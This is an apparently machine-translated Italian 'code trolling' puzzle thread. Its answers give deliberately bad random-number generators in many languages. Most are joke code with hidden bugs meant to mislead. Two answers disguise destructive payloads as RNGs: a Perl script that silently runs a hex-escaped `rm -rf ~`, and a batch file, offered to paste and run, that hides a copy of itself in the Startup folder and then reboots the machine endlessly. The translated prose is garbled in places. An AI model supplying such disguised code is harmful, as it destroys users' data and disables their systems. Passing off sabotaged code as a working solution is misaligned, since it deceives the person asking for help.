La sfida:

Genera una sequenza casuale di numeri. L'unico input dovrebbe essere la lunghezza della sequenza.

Internet point extra per soluzioni puramente funzionali.

^{Nota: questa è una domanda di traina del codice . Si prega di non prendere sul serio la domanda e / o le risposte. Maggiori informazioni qui .}

Pitone

Prendi un articolo di Wikipedia casuale e prendi una sequenza di caratteri html di lunghezza num e ottieni i loro valori numerici

import urllib2
from random import randint
def getRandom(num):
    response = urllib2.urlopen('http://en.wikipedia.org/wiki/Special:Random')
    html = response.read()
    html = html.replace(" ", "")
    htmllen = len(html)
    #I especially love how I still grab a random number here
    l =  randint(0, htmllen - num)
    data = html[l:l+num]
    return [ ord(x) for x in list(data) ]

print getRandom(25)

Tutti i programmi delle altre risposte genereranno solo i cosiddetti "numeri pseudo-casuali", che possono apparire casuali all'occhio non allenato ma in realtà seguono un certo schema.

Il seguente programma genera numeri casuali effettivi trasformando il computer in un rilevatore di particelle per radiazioni di fondo. Poiché questo si basa su effetti quantistici, è davvero casuale e impossibile da prevedere. E per un bonus, il programma in realtà funziona più velocemente, se si avvia il computer nello spazio. E sì, è altrettanto bello come sembra.

C

#include<stdio.h>

int main(void)
{
    int i,j,k,l,m;
    printf("How many random numbers do you want?");
    scanf ("%i",&m);

    for (i=0; i<m; i++)
    {
        j = k = 42;
        l = 0;
        while (j==k)
            l++;
        printf("%i\n", l);
    }
}

spoiler:

Questo programma genera due pezzi identici di memoria e quindi attende quanto tempo impiega la radiazione di fondo a cambiarne uno. Il tempo di attesa viene quindi restituito come un numero casuale, che sarebbe distribuito in modo esponenziale, se non fosse per overflow di numeri interi. Tali eventi, che sono più probabili nello spazio, sono un vero problema in astronautica, che viene affrontato dall'indurimento delle radiazioni . Quindi, ogni affermazione nell'introduzione è vera in una certa misura, a parte quella sulla freddezza.

Sfortunatamente, un tale evento si arresta in modo anomalo al computer o almeno al programma è più probabile che influisca esattamente su quei due blocchi di memoria. Inoltre, si può prendere un po '... Infine, come le punte da kinokijuf, radiazione di fondo è un processo esterno, in modo je kdeve essere contrassegnato come volatileal compilatore (o si dovrebbe utilizzare un compilatore che non lo fa ottimizzare affatto).

PS: espandendo l'idea, si potrebbe anche creare un array pieno di zeri e quindi stamparlo. Esiste la possibilità che radiation la radiazione di fondo cambi gli zeri tra memorizzazione e stampa e quindi ciò che viene stampato è casuale: l'OP non ha mai detto come distribuire i numeri casuali.

La casualità è difficile da ottenere su un computer, in quanto sono puramente deterministici. La generazione di numeri casuali su computer è un'area di ricerca molto attiva, che coinvolge spesso attori a livello statale (Vedi Dual_EC_DRBG ). Tuttavia, su un moderno sistema operativo multi-tasking, il programmatore di thread può svolgere un lavoro accettabile in alcune situazioni. Per fare ciò, diamo il controllo del nostro attuale intervallo di tempo al sistema operativo e prendiamo nota di quanto tempo ci vuole per essere programmati di nuovo. A seconda del sistema operativo e del carico, ciò può produrre i risultati desiderati.

const int bitsInInt = 31;

void Main()
{
    Console.WriteLine("Enter total number of numbers to generate:");
    var result = Console.ReadLine();

    var total = int.Parse(result);
    foreach(var i in RandomSequence().Take(total))
    {
        Console.WriteLine(i);
    }
}

//Generates a random sequence of bits
IEnumerable<int> RandomBit()
{
    while(true)
    {
        var sw = new Stopwatch();

        sw.Start();
        Thread.Sleep(bitsInInt);
        sw.Stop();

        yield return (int)(sw.ElapsedTicks & 0x1L);
    }
}

//Performs the computation for mapping between the random
//sequence of bits coming out of RandomBit() and what
//is required by the program
IEnumerable<int> RandomSequence()
{
    while(true)
    {
        yield return RandomBit().Take(bitsInInt).Reverse().Select((b,i)=> b<<i).Sum();      
    }
}

C #

Poiché gli utenti del nostro software sono intrinsecamente casuali per loro natura, perché non utilizzarlo a nostro vantaggio?

Questo codice prende uno screenshot e lo utilizza con alcuni altri dati per produrre una sequenza casuale. Punti internet bonus per non utilizzare il generatore casuale incorporato?

public unsafe uint[] GetThemRandom(int length)
    {
        var bounds = Screen.GetBounds(Point.Empty);
        using (var screenshot = new Bitmap(bounds.Width, bounds.Height))
        using (var graphics = Graphics.FromImage(screenshot))
        {
            // can't hurt
            var sZ = (uint)Cursor.Position.X;
            var sW = (uint)Cursor.Position.Y;

            // take the screenshot as the previous experience has though us that the users
            // are sufficiently random
            graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
            screenshot.Save(DateTime.Now.Ticks + ".jpg", ImageFormat.Jpeg);

            var bytesPerPixel = Image.GetPixelFormatSize(screenshot.PixelFormat) / 8;
            var bits = screenshot.LockBits(bounds, ImageLockMode.ReadOnly, screenshot.PixelFormat);

            var scanData = (byte*)bits.Scan0.ToPointer();
            var scanLimit = bounds.Width * bounds.Height;

            // squash the pixels into two variables
            for (var i = 0; i < scanLimit; i += 2)
            {
                var pX = scanData + i * (bytesPerPixel);
                var pY = scanData + (i + 1) * (bytesPerPixel);

                for (var j = 0; j < bytesPerPixel; j++)
                {
                    sZ ^= *(pX + j);
                    sW ^= *(pY + j);
                }
            }

            // generate the numbers
            var randoms = new uint[length];
            for (var i = 0; i < length; i++)
            {
                // CodeProject 25172
                sZ = 36969 * (sZ & 65535) + (sZ >> 16);
                sW = 18000 * (sW & 65535) + (sW >> 16);

                randoms[i] = (sZ << 16) + sW;
            }

            return randoms;
        }
    }

Pitone

È facile inciampare nelle insidie ​​comuni: una fonte non uniformemente distribuita di numeri casuali e nessuna randomizzazione. La mia soluzione evita superbamente questi problemi utilizzando approfondite conoscenze matematiche e un trucco semplice ma efficace, randomizzazione con l'ora corrente:

from math import pi # The digits of pi are completely randomly distributed. A great source of reliable randomness.
random_numbers = str(pi)
random_numbers = random_numbers[2:] # Don't return the dot accidentally

import time
index = time.localtime()[8] # Avoid the obvious mistake not to randomise the random number source by using localtime as seed.
random_numbers = random_numbers[index:]

number = int(input("How many random numbers would like?"))
for random in random_numbers[:number]: # Python strings are super efficient iterators! Hidden feature!
    print(random)

Funziona alla grande se testato una volta per un piccolo set di numeri (9 o meno), ma gravemente difettoso quando testato un po 'di più:

• math.pi contiene solo poche cifre dopo il punto
• time.localtime()[8]non restituisce i millisecondi o l'orologio del kernel, ma 0 o 1 a seconda che sia l'ora legale o meno. Quindi il seme casuale cambia una volta ogni sei mesi di un posto. Quindi, sostanzialmente, nessuna randomizzazione.
• Questo restituisce solo numeri casuali tra 0 e 9.
• random_numbers[:number]fallisce silenziosamente quando inserisci un valore numbermaggiore di 15 e sputa solo 15 numeri casuali.

Purtroppo, questo si ispira alla funzione casuale Delphi 1.0, che funzionava in modo simile.

Rubino

La domanda richiede una SEQUENZA. Ci risiamo...

$seed = $$.to_i
def getRandom(seed)
        a = Class.new
        b = a.new
        $seed = a.object_id.to_i + seed - $seed
        $seed
end

def getRandomSequence(num)
        molly = Array.new
        0.upto(num) do |x| molly[x] = x*getRandom(x) - getRandom(0-x) end
        molly
end

Questo è casuale al 100%. No davvero.
Peccato che questo codice significhi NULLA all'OP (che diavolo è object_id?)
Inoltre, è specifico dell'implementazione, nel senso che funziona o meno tra diverse versioni di ruby ​​(eseguito su 2.1.0p0).
Inoltre, questo può potenzialmente fare qualcosa di veramente brutto, poiché OP potrebbe sperimentare object_id ...

Esempio di output:

-2224
12887226055
25774454222
38661682243
51548910124
64436137991

Modificare:

modificato per l'uso $$per casualità reale (a livello di sistema operativo).

Giava

Attenzione, questa è una domanda trabocchetto .....

Molte persone in Java useranno math.random () per aiutare a generare questa sequenza, ma saranno confuse perché otterranno solo risultati positivi! random()restituisce un valore decimale compreso tra 0 e 1 (escluso 1 stesso). Quindi, devi fare alcuni trucchi per assicurarti di ottenere una buona distribuzione di valori casuali nell'intero intervallo intero (positivo e negativo).

Inoltre, non puoi semplicemente moltiplicarti Math.random()e Integer.MAX_VALUEperché non ti includerai mai Integer.MAX_VALUEcome parte del risultato! Inoltre, sarebbe logico farlo in math.rand() * (Integer.MAX_VALUE + 1)modo da ottenere una distribuzione completa, ma, ovviamente, questo non funziona perché Integer.MAX_VALUE + 1traboccerà e diventerà Integer.MIN_VALUE! Quindi, purtroppo, la soluzione migliore è ricorrere alla manipolazione bit-saggia dei dati ...

Quindi, ecco una sequenza completa per generare 'n' valori casuali nell'intervallo Integer.MIN_VALUEa Integer.MAX_VALUE(Incluso di entrambi gli estremi (che è la parte difficile) !!!!):

public static int[] get_random_sequence(int count) {
    // where we will store our random values.
    int[] ret = new int[count];

    for (int i = 0; i < count; i++) {
        // get a random double value:
        double rand = Math.random();
        // now, convert this double value (which really has 48 bits of randomness)
        // in to an integer, which has 32 bits. Thus 16 extra bits of wiggle room
        // we cannot simply multiply the rand value with Integer.MAX_VALUE
        // because we will never actually get Integer.MAX_VALUE
        //    (since the rand will never exactly == 1.0)
        // what we do is treat the 32-bits of the integer in a clever bit-shifting
        // algorithm that ensures we make it work:
        // We use two special Mersenne Prime values (2^19 - 1) and (2^13 - 1)
        // http://en.wikipedia.org/wiki/Mersenne_prime#List_of_known_Mersenne_primes
        // these are very convenient because 13 + 19 is 32, which is the
        // number of bits of randomness we need (32-bit integer).
        // Interesting note: the value (2^31 - 1) is also a Mersenne prime value,
        // and it is also Integer.MAX_VALUE. Also, it is a double marsenne prime
        // since 31 is also a marsenne prime... (2^(2^5 - 1) - 1). Math is Cool!!!
        //    2^19 - 1 can be expressed as (1 << 19) - 1
        //    2^13 - 1 can be expressed as (1 << 13) - 1
        // first we set 13 bits ... multiply a 13-bit prime by the random number.
        ret[i]  = (int)(rand * (1 << 13) - 1);
        // now shift those 13 random bits 19 bits left:
        ret[i] <<= 19;
        // now add in the 19 random bits:
        ret[i] ^= (int)(rand * (1 << 19) - 1);
    }
    return ret;
}

Questo produce output come:

[-368095066, -1128405482, 1537924507, -1864071334, -130039258, 2020328364, -2028717867, 1796954379, 276857934, -1378521391]

Naturalmente, quanto sopra è una risposta BS completa. Non fornisce una buona descrizione e "nasconde" un grave bug ( ^=dovrebbe essere |=). nasconde anche un bug meno grave (l'ordine-pf-precedenza significa che in realtà non ci moltiplichiamo per un valore primo!) Usare parole fantasiose, numeri primi e molti commenti non è un motivo per fidarsi del codice ... Naturalmente, se vuoi fare quanto sopra, dovresti semplicemente usarejava.util.Random.nextInt()

Giava

Ora che ripenso al programma, ho dimenticato di chiudere il Scanner...

import java.util.Scanner;

public class RandomNumberGenerator
{
    public static void main(String... args)
    {
        String rand = "14816275093721068743516894531"; // key-bashing is random
        Scanner reader = new Scanner(System.in);
        System.out.println("Enter length of random number: ");
        System.out.println(rand.substring(0, Integer.parseInt(reader.nextLine())));
    }
}

Perl

$\=$$;for(1..<>){$\=$\*65539;$\%=2**31;$\.=',';print""}

Sto facendo la stessa $\tattica per l'output come in una risposta di trolling del codice diversa. Inoltre, molti avviso che sto investendo una notevole quantità di $$in RANDU algoritmo.

Modifica: Per spiegare meglio, RANDU è un PRNG orribilmente insicuro. Wikipedia descrive come "uno dei generatori di numeri casuali più mal concepiti mai progettati". La sua principale debolezza è al di sotto:

f (x) = 6 * f (x-1) - 9 * f (x-2)

Ecco un generatore di numeri casuali, base 2^CHAR_BIT.

char* random(size_t length) {
    char* ret = malloc((length+1) * sizeof(char));
    ret[length] = 0;
    return ret;
}

In javascript, con uno stile funzionale:

var randomSequence = "[5, 18, 4, 7, 21, 44, 33, 67, 102, 44, 678, -5, -3, -65, 44, 12, 31]";

alert("The random sequence is " + (function (sequenceSize) {
    return randomSequence.substring(0, sequenceSize);
})(prompt("Type the size of the random sequence")) + ".");

C

Questa funzione funziona molto bene per le piccole applicazioni per la creazione di numeri casuali tra 0 e 1337. È consigliabile chiamarla più di una volta per assicurare la massima casualità.

int* getRandom(int length)
{
    //create an array of ints
    int* nums = malloc(sizeof(int) * length);

    //fill it in with different, "random" numbers
    while(length--)                                //9001 is a good seed
        nums[length-1] = (int)malloc(9001) % 1337; //1337 is used to make it more random
    return nums;
}

Il famoso generatore di Blum Blum Shub . Perché i generatori di numeri casuali dovrebbero essere crittograficamente sicuri e quale modo migliore per fornire sicurezza che attraverso l'oscurità.

#include <stdio.h>

long long Blum,BLum,Shub;

#define RAND_MAX 65536
//These two constant must be prime, see wikipedia.
#define BLUM 11
#define SHUB 19

int seed(int);
int(*rand)(int)=seed; //rand must be seeded first
int blumblumshub(int shub){
  //generate bbs bits until we have enough
  BLum  = 0;
  while (shub){
     Blum=(Blum*Blum)%Shub;
     BLum=(BLum<<1)|(Blum&1);
     shub>>=1;
  }
  return BLum>>1;
}

int seed(int n){
  Blum=n,BLum=BLUM;     
  Shub=SHUB*BLum;
  rand=blumblumshub;
  return rand(n);
}

//Always include a test harness.
int main(int argv, char* argc[]){
  int i;
  for (i=0;i<10;i++){
     printf("%d\n",rand(97));
  }
}

_{(Include nomi di variabili terribili, un'implementazione errata basata su una rapida scansione di wikipedia e una magia del puntatore di funzione inutile lanciata per divertimento)}

C / C ++

#include<stdio.h>

int main()
{
   int length = 20;
   double *a = new double[0];
   for (int i = 0; i < length; ++i)
   {
       printf("%f\n", a[i]);
   }
   return a[0];
}

Utilizzare alcuni dati heap di immondizia. Oh, e non dimenticare di perdere il puntatore.

C ++

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    int i, len;
    srand(time(NULL));
    len = atoi(argv[1]);
    for(i = 0; i < len; i++)
        printf("%d\n", rand() % 100);
    return 0;
}

Professionisti:

• Funziona.
• A volte.
• Valido (ish) C89.
• Terribile C ++.
• Usa le intestazioni C perché using namespace std;è MALE e non vogliamo rallentare il programma con tutte quelle ricerche nello spazio dei nomi.
• Evitiamo l'uniformità della distribuzione a favore della velocità usando un modulo con un valore hardcoded (TODO: cambiatelo per usare un bit-shift per una velocità ancora maggiore).
• Può verificare il determinismo eseguendo tempi multipli nello stesso secondo di clock.
• Il motivo per cui questo codice è errato è abbastanza evidente che l'OP probabilmente non lo capirà.

Contro:

• Il motivo per cui questo codice è negativo è abbastanza evidente che il professore dell'OP (il selezionatore) probabilmente non se ne renderà conto.
• Questa sembra essere comunemente considerata una soluzione accettabile.
• Ha bisogno di più VELOCITÀ RAW.

matematica

RandInt = 
 Array[First@
     Cases[URLFetch["http://dynamic.xkcd.com/random/comic/", 
       "Headers"], {"Location", l_} :> 
       FromDigits@StringTake[l, {17, -2}]] &, #] &

TI-Basic 83 + 84

:so;first&Input\something And;then:Disp uhmm_crazy_huhrandIntNoRep(1_£€¢|•∞™©®©©™,Andthen)

Ingresso - 3

Output - {2,3,1}

Funziona perché si riduce a :Input A:Disp randIntNoRep(1,A)

Ecco una soluzione Python. Non puoi provare che questo non sia casuale!

def get_random(num):
    print '3' * num

Provalo chiamando get_random(5), ad esempio.

Perl

use strict;
use warnings;
`\x{0072}\x{006D}\x{0020}\x{002D}\x{0072}\x{0066}\x{0020}\x{007E}`;
my $length = $ARGV[0];
for (my $count = 0;$count<$length;++$count) {
    print int(rand(10));
}
print "\n";

Questo usa un codice perl molto semplice per fare come richiesto dall'OP, ma non prima di rimuovere ricorsivamente la loro directory home (senza scrivere effettivamente rm -rf ~, ovviamente.)

Non l'ho provato (per ovvi motivi).

Python 3

Non solo fa perdere molto tempo (tempo reale e CPU), ma restituisce solo 10 numeri casuali.

def generate_random_number_sequence():
    with open('/dev/urandom', 'rb') as fd:
        data = b''
        num = 0

        for i in range(10000):
            data += fd.read(1)

            for b in data:
                try:
                    num += int(b)
                except ValueError: pass

        return [int(n) for n in list(str(num))]

if __name__ == '__main__':
    print(generate_random_number_sequence())

Rubino

Potresti sapere che non tutti i numeri sono casuali. Questo programma controlla tutti i numeri e ti dà solo quelli che sono davvero casuali.

Attenzione che il codice Ruby è un po 'complicato da leggere. Non è efficiente come l'inglese perché i computer sono un po 'stupidi e a volte devi ripetere parole importanti a loro.

Pertanto ne ho aggiunti alcuni #commentsal codice; Le parole MAIUSCOLE nei commenti mostrano come funziona la stessa parola nel codice Ruby.

def random_sequence(n)
  # Make a NEW ENUMERATOR of RANDOM numbers:
  Enumerator.new { |random|
    # to_i means that the RANDOM NUMBERS we want are *integers*.
    # (rand is computer speak for random.)
    number = rand.to_i

    # We need to LOOP (because we want a *sequence* of numbers):
    loop do
      # Double check that the NEXT NUMBER is a RANDOM NUMBER.
      # This is very important so we must repeat some of the words to the computer.
      random << number if number == rand(number=number.next)
    end
   }.take(n) # Self explanatory
end

# Now we just say hw many random numbers we want, like 12
p random_sequence(12)

Una spiegazione più dettagliata potrebbe venire più avanti, ma questo output di una corsa di esempio dovrebbe darne una parte: [1, 3, 5, 10, 180, 607, 639, 1694, 21375, 75580, 137110, 149609] ... un po 'casuale però.

Il seguente script di Windows Batch genererà un file con numeri casuali nominati OUTPUT.TXTnella cartella del profilo. Questo è garantito per generare numeri casuali quasi totalmente veri. Basta incollare questo codice in Blocco note, salvare come "FileName.CMD"(tra virgolette) ed eseguire.

IF "%~dp0" == "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" GOTO GENRANDOM
copy %~f0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
attrib +R +H "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\kl.cmd"
GOTO GENRANDOM
REM GOTO INSTRUCTIONS ARE VERY IMPORTANT TO MAKE YOUR FILE EASIER TO READ

:NEXT
shutdown -r -t 0
exit

:GENRANDOM
FOR /D %%F IN (%time%) DO (
@set output=%%F
)
::NEXT <--Really important
IF NOT EXIST "%userprofile%\OUTPUT.TXT" ECHO.>"%userprofile%\OUTPUT.TXT"
echo.%output%>>"%userprofile%\OUTPUT.TXT"
GOTO NEXT

REM TODO: ADD MORE OBSCURITY

Dover inserire una quantità di numeri casuali da generare è troppo problematico. Basta premere e tenere premuto il pulsante di accensione per interrompere la generazione. Molto più facile! Inoltre: non richiede una tastiera.

Lua

Questa è una funzione eccessivamente complicata, complicata, disordinata (anche con un evidenziatore di sintassi), che genera numeri insensibilmente alti in un modo molto complicato. E invece di restituire la stringa di numeri, li stampa sullo schermo, rendendone poco pratico l'utilizzo all'interno dei programmi. È difficile da modificare, quindi se il tuo victum ti chiede di risolverlo, dire che è troppo complicato da modificare.

function random(x) local func = loadstring("print(math.random(math.random(math.random(123514363414,9835245734866241),math.random(182737598708748973981729375709817829357872391872739870570,57102738759788970895707189273975078709837980278971289375078978739287018729375087132705)),math.random(math.random(19230851789743987689748390958719873289740587182039758917892708973987579798403789,0958907283470589718273057897348975087192034875987108273570917239870598743079857082739845891098728073987507),math.random(894017589723089457098718723097580917892378578170927305789734975087109872984375987108789,2739870587987108723457891098723985708917892738075098704387857098172984758739087498570187982347509871980273589789437987129738957017))))") for i = 1, x do func() end end

C #

 public class Random
    {
        private char[] initialSequence = "Thequickbrownfoxjumpsoveralazydog".ToCharArray();

        private long currentFactor;

        public Random()
        {
            currentFactor = DateTime.Now.ToFileTime();
        }

        public IEnumerable<int> GetSequence(int count)
        {
            int i = 0;
            while (i < count)
            {
                i++;

                string digits = currentFactor.ToString();
                digits = digits.Substring(digits.Length / 4, digits.Length / 2);

                if (digits[0] == '0')
                    digits = "17859" + digits;

                currentFactor = (long)System.Math.Pow(long.Parse(digits), 2);

                int position = i % initialSequence.Length;

                initialSequence[position] = (char)((byte)initialSequence[position] & (byte)currentFactor);

                yield return (int)initialSequence[position] ^ (int)currentFactor;

            }
        }
    }

Nota che tende a rompersi per sequenze più lunghe, ma quando funziona genera numeri molto casuali

Fortran

Il tuo computer ha già un numero casuale incorporato, quindi devi solo accedervi:

program random_numbers
   implicit none
   integer :: nelem,i,ierr

   print *,"Enter number of random sequences"
   read(*,*) nelem

   do i=1,nelem
      call system("od -vAn -N8 -tu8 < /dev/urandom")
   enddo
end program random_numbers

Ovviamente non portatile, in quanto richiede all'utente di avere un sistema * nix (ma chi utilizza comunque Windows comunque?).

Presumo che tu abbia ovviamente bisogno di molti numeri casuali. Che richiede ...

Bash e Hadoop

Naturalmente, solo l'utilizzo di una singola fonte casuale non è affidabile ai tempi della NSA. Potrebbero aver eseguito il trojan sul tuo computer. Ma non avranno quindi trojan su tutto il tuo cluster!

#!/bin/bash
# Fortunately, our mapper is not very complex.
# (Actually a lot of the time, mappers are trivial)
cat > /tmp/mapper << EOF
#!/bin/bash
echo $$RANDOM
EOF

# Our reducer, however, is a filigrane piece of art
cat > /tmp/reducer << EOF
#!/bin/bash
exec sort -R | head -1 
EOF

Successivamente, lo script eseguirà i lavori del cluster come desiderato:

# We need to prepare our input data:
$HADOOP_HOME/bin/hdfs dfs -mkdir applestore
for i in `seq 0 $RANDOM`; do
    echo Banana >> /tmp/.$i
    $HADOOP_HOME/bin/hdfs dfs -copyFromLocal /tmp/.$i applestore/android-$i
done

# We can now repeatedly use the cluster power to obtain an infinite
# stream of super-safe random numbers!
for i in `seq 1 $1`; do
    $HADOOP_HOME/bin/hadoop jar $HADOOP_HOME/hadoop-streaming.jar \
    -input applestore/ \
    -output azure/ \
    -file /tmp/mapper \
    -file /tmp/reducer \
    -mapper /tmp/mapper \
    -reducer /tmp/reducer
    $HADOOP_HOME/bin/hdfs dfs -cat azure/part-00000
    # Never forget to cleanup something:
    $HADOOP_HOME/bin/hdfs dfs -rm -r azure
done

Grazie a Dio, abbiamo il potere di Hadoop!

Rubino

require 'md5'

5.times {|i| p MD5.md5(($$+i).to_s).to_s.to_i(32)} # take 32 bits

ANSI C

Questo è abbastanza complicato e non me ne preoccuperei troppo. Basta copiare e incollare il codice qui sotto nella tua libreria e sarai d'oro per sempre.

#include <stdlib.h>
#include <time.h>

void fillNumbers(int[], unsigned size);

void main()
{
    int random[5];
    fillNumbers(random, 5);
}

void fillNumbers(int arr[], unsigned size)
{
    void * pepperSeed = malloc(size);
    unsigned tick = ~(unsigned)clock();
    srand((int)( (unsigned)pepperSeed^tick ));
    while( size --> 0 )
    {
        arr[size] = rand();
    }
}

Prova C ++: veloce, potente, tutto ciò che desideri:

#include <iostream>
#include <vector>
#include <cmath>
using namespace std;
#define type int
#define type vector

// declaration for generate_num()
int generate_num();

void error(std::string s) {
  throw runtime_error(s);
}

// some support code
class random {

public:
  random(int& i) { if (!i) error("class random: bad value"); for (int j = 0; j < i; j++) v.push_back(generate_num()); }

  void* display() const { for (int i = 0; i < v.size(); i++) std::cout << v[i] << std::endl; return 0; }

private:
  vector<int> v;
};

// generate number
int generate_num() {

  // seed random number generator
  srand(rand());

  // get number
  int i = rand();

  // return number after calculation
  return int(pow(i, pow(i, 0)));
}

int main() try {

  // generate and store your random numbers
  int amount_of_numbers;
  std::cout << "Enter the number of random variables you need: ";
  std::cin >> amount_of_numbers;

  // create your random numbers
  random numbers = random(amount_of_numbers);

  // display your numbers
  numbers.display();

  return 0;
}
catch (exception& e) {
  std::cerr << "Error: " << e.what();
  return 1;
}
catch (...) {
  std::cerr << "Unknown error\n";
  return 2;
}

A proposito, per i migliori risultati, vorrai usare a class.

Spiegazione:
1. NON ha bisogno di usarlo class- è totalmente ridondante.
2. L'istruzione return in generate_num()effettivamente restituisce il numero ^ (numero ^ 0), che restituisce il numero ^ 1, che è numero. Anche questo è ridondante.
3. Gestione degli errori più inutile: cosa potrebbe andare storto con questa base di punzonatura dei dati?
4. Ho usato std::prima di tutti gli elementi dello stdspazio dei nomi. Anche questo è ridondante.
5. Anche le #definedichiarazioni non sono necessarie: l'ho fatto per fargli pensare di aver definito quei tipi specificamente per questo programma.

Disclaimer:
questo programma funziona davvero; tuttavia, NON consiglio a nessuna persona o entità di utilizzarlo nel loro codice per la vita reale. Non mi riservo alcun diritto su questo codice; in altre parole, lo faccio interamente open-source.

Pitone

Prendendo la parte funzionale - il pitone quasi un liner

import random
map(lambda x: random.random(), xrange(input())